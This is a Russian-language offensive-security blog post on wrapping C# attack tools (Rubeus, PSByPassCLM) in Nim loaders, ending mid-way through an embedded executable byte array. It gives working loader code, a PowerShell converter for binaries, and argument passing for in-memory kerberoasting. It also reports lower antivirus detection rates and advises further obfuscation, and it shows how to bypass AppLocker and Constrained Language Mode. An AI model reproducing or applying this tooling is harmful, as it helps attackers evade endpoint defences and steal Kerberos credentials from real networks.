Все упомянутые инструменты для обхода ограничений написаны на C#. С точки зрения защитников, я бы предпочел, чтобы злоумышленник использовал инструменты C# вместо скомпилированных двоичных файлов C/C++. Почему? Если злоумышленник оставляет двоичные файлы C# на диске, защитники могут легко их декомпилировать с помощью таких инструментов, как ILSpy, или для анализа вредоносных программ. В реальных инцидентах я также видел, как злоумышленники использовали сценарии Powershell, загружающие двоичные файлы C# из памяти для сохранения при запуске через реестр. Модификация сценария Powershell для сброса двоичного файла на диск вместо загрузки делает его анализируемым с помощью декомпилятора без сброса памяти. Бинарные файлы C/C++ труднее анализировать, потому что их нужно дизассемблировать с помощью IDA Pro, Ghidra или аналогичных инструментов. На мой взгляд, анализ вредоносных программ с использованием данного кода ассемблера определенно более сложен или, по крайней мере, требует гораздо больше времени.

Так что я думаю, мы также можем сказать, что двоичные файлы C/C++ и, следовательно, двоичные файлы Nim немного более безопасны для Opsec. Есть еще одно преимущество - насколько я знаю на момент написания этого поста, AMSI не имеет возможности проверять скомпилированные двоичные файлы C/C++. Позже в этом посте мы увидим, что исправить AMSI в Nim перед загрузкой исполняемого файла C# довольно просто. Следовательно, этот обход AMSI никогда не может быть обнаружен самим AMSI. В прошлом Microsoft блокировала каждый публичный обход, создавая для него новую подпись AMSI.
Здесь это невозможно. Но он все равно может быть обнаружен традиционным AV- программным обеспечением с сигнатурой файлов, если вы сбросите его на диск.

Но как на самом деле использовать наши существующие инструменты в Nim? Несколько дней назад в репозиторий OffensiveNim был добавлен новый Nim-шаблон: execute_assembly_bin.nim. Этот код фактически загружает скомпилированный C # исполняемый файл, преобразованный в массив байтов, в память:

C#:Copy to clipboard

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat

# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90[...snip...]0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0]

echo "[*] Installed .NET versions"
for v in clrVersions():
    echo fmt"    \--- {v}"
echo "\n"

echo ""

var assembly = load(buf)
dump assembly

#[

# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/OffensiveNim/issues/9

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())
var mn = fromCLRVariant[string](assembly.EntryPoint.Name)
echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"
echo fmt"[*] EntryPoint.MethodName: '{mn}'"
var t = assembly.GetType(dt)
var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array
@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args

]#

var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Когда я увидел этот новый шаблон в Twitter, я подумал: "Отлично, я хочу поиграть с ним". Загрузка Nim и импорт WinIm с помощью быстрой установки WinIM

  • простая установка. В данном шаблоне byt3bl33d3r выполняет .NET Messagebox два раза - один раз без аргументов и один раз с фактической передачей некоторых аргументов. Я удалил первую EntryPoint.Invoke() без аргументов, потому что нет необходимости выполнять дважды. В первый раз я хотел обернуть двоичный файл Rubeus в исполняемый файл Nim. Поэтому я скомпилировал Rubeus как обычно и написал небольшой скрипт Powershell, чтобы преобразовать его в массив байтов, пригодный для использования Nim:

C#:Copy to clipboard

function CSharpToNimByteArray
{

Param
    (
        [string]
        $inputfile,
        [switch]
        $folder
)

    if ($folder)
    {
        $Files = Get-Childitem -Path $inputfile -File
        $fullname = $Files.FullName
        foreach($file in $fullname)
        {
            Write-Host "Converting $file"
            $outfile = $File + "NimByteArray.txt"
   
            [byte[]] $hex = get-content -encoding byte -path $File
            $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
            $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
            $Results = $Results + "]"        
            $Results | out-file $outfile
       
        }
        Write-Host -ForegroundColor yellow "Results Written to the same folder"
    }
    else
    {
        Write-Host "Converting $inputfile"
        $outfile = $inputfile + "NimByteArray.txt"
       
        [byte[]] $hex = get-content -encoding byte -path $inputfile
        $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
        $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
        $Results = $Results + "]"        
        $Results | out-file $outfile
        Write-Host "Result Written to $outfile"
    }
}

Это упрощает преобразование любого двоичного файла C# или даже целой папки, содержащей двоичные файлы C#, в байтовые массивы Nim:

1.jpg

Результирующий байтовый массив Nim выглядит так:

var buf: array[198144, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,[...snip...]0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

Использование этого байтового массива вместо message box и компиляция кода Nim через nim c execute_assembly_bin.nim приводит к тому, что C-скомпилированный исполняемый файл загружает Rubeus и возвращает меню справки:

2.png

Это не поможет нам для Rubeus, потому что мы действительно хотим передать аргументы исполняемому файлу, скомпилированному с помощью Nim, который должен быть перенаправлен в исполняемый файл C#. В данном файле шаблона аргументы передаются в следующей строке:

C#:Copy to clipboard

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args

Я обнаружил, что при передаче одного аргумента, например, "kerberoast" вместо "From Nim & .NET!" Rubeus успешно загружается из памяти с помощью атаки kerberoasting. Моя первая попытка передачи параметров выглядела так:

C#:Copy to clipboard

import os
[...]
var cmd = ""
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    cmd.add(" ")
    inc(i)
echo cmd # Only for troubleshooting purpose
var arr = toCLRVariant([cmd], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Но все, что содержит пробел, не было успешно проанализировано - была возвращена только справка Rubeus, что имеет место для неверных параметров. Устранение неполадок в этой проблеме Я также понял, что toCLRVariant() позволяет принимать только массивы с несколькими параметрами. Изменение кода для передачи двух параметров двоичного файла C# выглядит следующим образом:

C#:Copy to clipboard

var arr = toCLRVariant(["kerberoast", "/format:hashcat"], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Чтобы передать любое возможное количество аргументов, я впоследствии использовал следующий код:

C#:Copy to clipboard

var cmd: seq[string]
var i = 1
while i <= paramCount():
cmd.add(paramStr(i))
inc(i)
echo cmd
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

В результате получается готовый к работе бинарный файл Rubeus, скомпилированный в Nim C:

2.png

Еще одна вещь, которую следует упомянуть: чистый двоичный файл C# Rubeus, который я использовал, был обнаружен движками 26/72 на Virustotal:

4.jpg

В версии NimRubeus было 16/70 обнаружений:

5.jpg

Таким образом, перенос двоичных файлов на другие языки также МОЖЕТ быть использован для обхода программного обеспечения AV. Однако я рекомендую обфускировать любой двоичный файл C#, прежде чем превращать его в массив байтов - это должно привести к еще меньшему количеству обнаружений. И если вы все сделаете правильно, нет необходимости в обходе AMSI. Чем больше людей используют OffensiveNim, тем больше я верю, что даже небольшие фрагменты шаблона Nim могут быть отмечены когда-нибудь. Так что изменения в шаблоне также должны быть сделаны на этом этапе, чтобы остаться незамеченными.

Если мы вернемся к среде с Constrained Language Mod и Applocker, мы также могли бы использовать один из упомянутых инструментов для обхода обеих функций с помощью оболочки Nim. Следующий код, например, содержит PSByPassCLM, завернутый в Nim, что позволяет нам обойти обе функции, поместив этот скомпилированный двоичный файл в папку C:\oracle\bin:

C#:Copy to clipboard

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat
import os

# PSBypassCLM Binary
var buf: array[10240, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x22,0x00,0x0B,0x01,0x30,0x00,0x00,0x1E,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x8E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x60,0x85,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x3C,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x3B,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x94,0x1C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x02,0x00,0x05,0x00,0x98,0x22,0x00,0x00,0x6C,0x18,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1B,0x30,0x03,0x00,0x70,0x01,0x00,0x00,0x01,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x72,0x01,0x00,0x00,0x70,0x0C,0x16,0x0D,0x02,0x2C,0x22,0x02,0x8E,0x2C,0x1E,0x02,0x16,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x14,0x02,0x17,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x0A,0x17,0x0D,0x02,0x16,0x9A,0x0B,0x02,0x17,0x9A,0x0C,0x28,0x11,0x00,0x00,0x0A,0x13,0x04,0x11,0x04,0x6F,0x12,0x00,0x00,0x0A,0x11,0x04,0x73,0x13,0x00,0x00,0x0A,0x72,0x03,0x00,0x00,0x70,0x6F,0x14,0x00,0x00,0x0A,0x26,0x72,0x86,0x00,0x00,0x70,0x13,0x05,0x09,0x2D,0x0C,0x72,0xCB,0x0B,0x00,0x70,0x28,0x15,0x00,0x00,0x0A,0x2B,0x1A,0x11,0x05,0x72,0x1D,0x0C,0x00,0x70,0x07,0x6F,0x16,0x00,0x00,0x0A,0x72,0x2D,0x0C,0x00,0x70,0x08,0x6F,0x16,0x00,0x00,0x0A,0x13,0x05,0x09,0x2D,0x12,0x72,0x3B,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x28,0x18,0x00,0x00,0x0A,0x0A,0x2B,0x03,0x11,0x05,0x0A,0x06,0x28,0x10,0x00,0x00,0x0A,0x3A,0xB3,0x00,0x00,0x00,0x11,0x04,0x6F,0x19,0x00,0x00,0x0A,0x13,0x06,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x06,0x6F,0x1B,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x72,0x47,0x0C,0x00,0x70,0x6F,0x1C,0x00,0x00,0x0A,0x09,0x2C,0x0A,0x72,0x5D,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1D,0x00,0x00,0x0A,0x73,0x1E,0x00,0x00,0x0A,0x13,0x07,0x6F,0x1F,0x00,0x00,0x0A,0x13,0x08,0x2B,0x18,0x11,0x08,0x6F,0x20,0x00,0x00,0x0A,0x13,0x09,0x11,0x07,0x11,0x09,0x6F,0x21,0x00,0x00,0x0A,0x6F,0x22,0x00,0x00,0x0A,0x26,0x11,0x08,0x6F,0x23,0x00,0x00,0x0A,0x2D,0xDF,0xDE,0x0C,0x11,0x08,0x2C,0x07,0x11,0x08,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x11,0x07,0x6F,0x21,0x00,0x00,0x0A,0x28,0x17,0x00,0x00,0x0A,0xDE,0x2B,0x13,0x0A,0x09,0x2C,0x07,0x72,0x01,0x00,0x00,0x70,0x13,0x05,0x72,0x93,0x0C,0x00,0x70,0x11,0x0A,0x6F,0x25,0x00,0x00,0x0A,0x28,0x26,0x00,0x00,0x0A,0xDE,0x0C,0x11,0x06,0x2C,0x07,0x11,0x06,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x06,0x72,0x9B,0x0C,0x00,0x70,0x28,0x27,0x00,0x00,0x0A,0x3A,0x1A,0xFF,0xFF,0xFF,0x2A,0x01,0x28,0x00,0x00,0x02,0x00,0xF5,0x00,0x25,0x1A,0x01,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xB5,0x00,0x7F,0x34,0x01,0x1F,0x16,0x00,0x00,0x01,0x02,0x00,0xB5,0x00,0x9E,0x53,0x01,0x0C,0x00,0x00,0x00,0x00,0x1E,0x02,0x28,0x28,0x00,0x00,0x0A,0x2A,0x13,0x30,0x04,0x00,0x84,0x00,0x00,0x00,0x02,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xA5,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x48,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xB7,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0A,0x06,0x2D,0x0B,0x72,0xC3,0x0C,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0x1F,0x0D,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0B,0x07,0x2D,0x0B,0x72,0x2B,0x0D,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x18,0x8D,0x1A,0x00,0x00,0x01,0x25,0x16,0x06,0xA2,0x25,0x17,0x07,0xA2,0x28,0x01,0x00,0x00,0x06,0x2A,0x06,0x2A,0x1E,0x02,0x28,0x2D,0x00,0x00,0x0A,0x2A,0x00,0x00,0x42,0x53,0x4A,0x42,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39,0x00,0x00,0x00,0x00,0x05,0x00,0x6C,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0x23,0x7E,0x00,0x00,0xEC,0x03,0x00,0x00,0x24,0x05,0x00,0x00,0x23,0x53,0x74,0x72,0x69,0x6E,0x67,0x73,0x00,0x00,0x00,0x00,0x10,0x09,0x00,0x00,0x88,0x0D,0x00,0x00,0x23,0x55,0x53,0x00,0x98,0x16,0x00,0x00,0x10,0x00,0x00,0x00,0x23,0x47,0x55,0x49,0x44,0x00,0x00,0x00,0xA8,0x16,0x00,0x00,0xC4,0x01,0x00,0x00,0x23,0x42,0x6C,0x6F,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x01,0x47,0x15,0x02,0x08,0x09,0x00,0x00,0x00,0x00,0xFA,0x01,0x33,0x00,0x16,0x00,0x00,0x01,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x2D,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x7F,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0xF4,0x01,0x2C,0x04,0x06,0x00,0x61,0x02,0x2C,0x04,0x06,0x00,0x12,0x01,0xC6,0x03,0x0F,0x00,0x4C,0x04,0x00,0x00,0x06,0x00,0x3A,0x01,0x59,0x03,0x06,0x00,0xC1,0x01,0x59,0x03,0x06,0x00,0xA2,0x01,0x59,0x03,0x06,0x00,0x48,0x02,0x59,0x03,0x06,0x00,0x14,0x02,0x59,0x03,0x06,0x00,0x2D,0x02,0x59,0x03,0x06,0x00,0x51,0x01,0x59,0x03,0x06,0x00,0x26,0x01,0x0D,0x04,0x06,0x00,0x04,0x01,0x0D,0x04,0x06,0x00,0x85,0x01,0x59,0x03,0x06,0x00,0x6C,0x01,0x8F,0x02,0x06,0x00,0x8D,0x04,0x2B,0x03,0x0A,0x00,0x86,0x00,0xE6,0x03,0x0A,0x00,0xE2,0x00,0xE6,0x03,0x06,0x00,0x8E,0x03,0xB3,0x04,0x06,0x00,0x0E,0x00,0x3A,0x00,0x0A,0x00,0x8B,0x04,0x3C,0x03,0x06,0x00,0x84,0x03,0x2B,0x03,0x0E,0x00,0xDE,0x01,0xD1,0x02,0x12,0x00,0x9C,0x03,0xF3,0x02,0x06,0x00,0xDA,0x04,0x60,0x04,0x06,0x00,0xAB,0x02,0x2B,0x03,0x0A,0x00,0xF7,0x04,0xE6,0x03,0x0A,0x00,0x9B,0x00,0x3C,0x03,0x06,0x00,0x01,0x00,0xB2,0x02,0x06,0x00,0xB6,0x00,0x2B,0x03,0x0A,0x00,0x6B,0x03,0xE6,0x03,0x06,0x00,0xA6,0x03,0x60,0x04,0x06,0x00,0xAA,0x00,0x2B,0x03,0x12,0x00,0xCB,0x04,0xF3,0x02,0x0E,0x00,0xE6,0x04,0x59,0x00,0x12,0x00,0x7D,0x03,0xF3,0x02,0x00,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0x1A,0x03,0x82,0x04,0x41,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0xE7,0x02,0x82,0x04,0x61,0x00,0x01,0x00,0x03,0x00,0x50,0x20,0x00,0x00,0x00,0x00,0x96,0x00,0x37,0x03,0xD5,0x00,0x01,0x00,0xF4,0x21,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x02,0x00,0xFC,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x10,0x03,0xDB,0x00,0x02,0x00,0x8C,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x08,0x03,0xDB,0x00,0x03,0x00,0x8E,0x22,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x5B,0x04,0x00,0x00,0x01,0x00,0xF3,0x00,0x00,0x00,0x01,0x00,0xF3,0x00,0x09,0x00,0xC0,0x03,0x01,0x00,0x11,0x00,0xC0,0x03,0x06,0x00,0x19,0x00,0xC0,0x03,0x0A,0x00,0x29,0x00,0xC0,0x03,0x10,0x00,0x31,0x00,0xC0,0x03,0x10,0x00,0x39,0x00,0xC0,0x03,0x10,0x00,0x41,0x00,0xC0,0x03,0x10,0x00,0x49,0x00,0xC0,0x03,0x10,0x00,0x51,0x00,0xC0,0x03,0x10,0x00,0x59,0x00,0xC0,0x03,0x10,0x00,0x61,0x00,0xC0,0x03,0x15,0x00,0x69,0x00,0xC0,0x03,0x10,0x00,0x71,0x00,0xC0,0x03,0x10,0x00,0x79,0x00,0xC0,0x03,0x10,0x00,0xB9,0x00,0xC0,0x03,0x15,0x00,0xD1,0x00,0x15,0x05,0x32,0x00,0xD9,0x00,0x80,0x00,0x37,0x00,0x89,0x00,0x32,0x03,0x06,0x00,0xE1,0x00,0xC0,0x03,0x3C,0x00,0xE1,0x00,0xA3,0x00,0x42,0x00,0xF1,0x00,0xD2,0x00,0x4C,0x00,0xD1,0x00,0x78,0x00,0x51,0x00,0xF1,0x00,0xFE,0x00,0x4C,0x00,0xF1,0x00,0xBE,0x00,0x57,0x00,0x89,0x00,0xDC,0x00,0x5B,0x00,0x91,0x00,0xD9,0x03,0x60,0x00,0xF9,0x00,0xA0,0x04,0x10,0x00,0xF9,0x00,0x55,0x00,0x10,0x00,0x91,0x00,0xA3,0x00,0x65,0x00,0x99,0x00,0xC0,0x03,0x06,0x00,0x0C,0x00,0xB2,0x03,0x75,0x00,0x14,0x00,0x94,0x04,0x85,0x00,0x81,0x00,0xA9,0x02,0x8A,0x00,0x99,0x00,0xC7,0x00,0x8E,0x00,0x01,0x01,0xAA,0x04,0x94,0x00,0x09,0x01,0xEB,0x00,0x06,0x00,0xB1,0x00,0x8F,0x00,0x8A,0x00,0xF1,0x00,0xD2,0x00,0x98,0x00,0xD1,0x00,0x07,0x05,0x9E,0x00,0x81,0x00,0xC0,0x03,0x06,0x00,0xC1,0x00,0xBF,0x04,0xA9,0x00,0x11,0x01,0x73,0x04,0xAF,0x00,0x19,0x01,0x22,0x03,0xB5,0x00,0x21,0x01,0xC0,0x03,0x10,0x00,0xC1,0x00,0xC0,0x03,0x06,0x00,0x2E,0x00,0x0B,0x00,0xE1,0x00,0x2E,0x00,0x13,0x00,0xEA,0x00,0x2E,0x00,0x1B,0x00,0x09,0x01,0x2E,0x00,0x23,0x00,0x12,0x01,0x2E,0x00,0x2B,0x00,0x1D,0x01,0x2E,0x00,0x33,0x00,0x1D,0x01,0x2E,0x00,0x3B,0x00,0x1D,0x01,0x2E,0x00,0x43,0x00,0x12,0x01,0x2E,0x00,0x4B,0x00,0x23,0x01,0x2E,0x00,0x53,0x00,0x1D,0x01,0x2E,0x00,0x5B,0x00,0x1D,0x01,0x2E,0x00,0x63,0x00,0x3B,0x01,0x2E,0x00,0x6B,0x00,0x65,0x01,0x2E,0x00,0x73,0x00,0x72,0x01,0x63,0x00,0x7B,0x00,0xBC,0x01,0x1A,0x00,0xA4,0x00,0x6E,0x00,0x7E,0x00,0x04,0x80,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x31,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC3,0x00,0x3C,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x2B,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0xF3,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x60,0x31,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x60,0x31,0x00,0x3C,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x3E,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x00,0x6D,0x73,0x63,0x6F,0x72,0x6C,0x69,0x62,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x47,0x65,0x6E,0x65,0x72,0x69,0x63,0x00,0x41,0x64,0x64,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x53,0x70,0x65,0x63,0x69,0x61,0x6C,0x69,0x7A,0x65,0x64,0x00,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x00,0x49,0x44,0x69,0x73,0x70,0x6F,0x73,0x61,0x62,0x6C,0x65,0x00,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x52,0x65,0x61,0x64,0x4C,0x69,0x6E,0x65,0x00,0x41,0x70,0x70,0x65,0x6E,0x64,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x4C,0x69,0x6E,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x00,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x00,0x73,0x61,0x76,0x65,0x64,0x53,0x74,0x61,0x74,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x00,0x47,0x75,0x69,0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x56,0x69,0x73,0x69,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x69,0x74,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0